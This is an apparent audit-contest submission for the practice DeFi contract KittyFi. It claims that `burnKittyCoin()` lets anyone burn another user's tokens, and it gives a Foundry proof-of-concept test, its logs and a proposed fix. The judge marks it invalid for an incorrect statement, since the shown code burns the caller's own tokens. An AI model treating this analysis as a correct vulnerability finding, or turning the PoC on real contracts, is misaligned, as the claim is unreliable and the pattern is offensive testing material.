First Flight #21: KittyFi

First Flight #21
Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: high
Invalid

H-01: Lack of access control in `burnKittyCoin()` function

Summary

The burnKittyCoin() function in the KittyPool contract lacks proper access control and allows anyone to burn KittyCoin on behalf of any user. This can result in inaccurate collateral management issues, which can cause disruptions to the protocol's operations.

Vulnerability Details

The function allows User A to burn the tokens of User B without authorization.

function burnKittyCoin(address _onBehalfOf, uint256 _ameownt) external {
kittyCoinMeownted[_onBehalfOf] -= _ameownt;
i_kittyCoin.burn(msg.sender, _ameownt);
}

Impact

In this PoC, we can use doggo to burn the tokens of catto without it's authorization.

function test_AnyoneCanBurnKittyCoin() public {
address doggo = address(888);
address catto = address(777);
uint256 toDeposit = 5 ether;
// Deal 10 ether to Doggo and Catto then deposit collaterals and mint tokens
deal(weth, catto, 10 ether);
deal(weth, doggo, 10 ether);
vm.startPrank(catto);
IERC20(weth).approve(address(wethVault), toDeposit);
kittyPool.depawsitMeowllateral(weth, toDeposit);
kittyPool.meowintKittyCoin(20e18);
vm.stopPrank();
vm.startPrank(doggo);
IERC20(weth).approve(address(wethVault), toDeposit);
kittyPool.depawsitMeowllateral(weth, toDeposit);
kittyPool.meowintKittyCoin(20e18);
vm.stopPrank();
// Doggo burns the 20 tokens from Catto
// Print Catto's before and after token balance
console.log("before tokens: ",kittyPool.getKittyCoinMeownted(address(catto)));
vm.prank(doggo);
kittyPool.burnKittyCoin(catto, 20e18);
console.log("after tokens: ",kittyPool.getKittyCoinMeownted(address(catto)));
}

Result

Ran 1 test for test/KittyFiTest.t.sol:KittyFiTest
[PASS] test_AnyoneCanBurnKittyCoin() (gas: 682149)
Logs:
before tokens: 20000000000000000000
after tokens: 0

Tools Used

Recommendations

  1. Implement Approval from ERC20 to authorize another user to burn.

  2. Add a logic to check if the msg.sender is the user or the maintainer of the protocol.

function burnKittyCoin(address _onBehalfOf, uint256 _ameownt) external {
+ require(msg.sender == _onBehalfOf || msg.sender == meowntainer, "Not authorized to burn tokens");
kittyCoinMeownted[_onBehalfOf] -= _ameownt;
i_kittyCoin.burn(msg.sender, _ameownt);
}
Updates

Lead Judging Commences

shikhar229169 Lead Judge 11 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.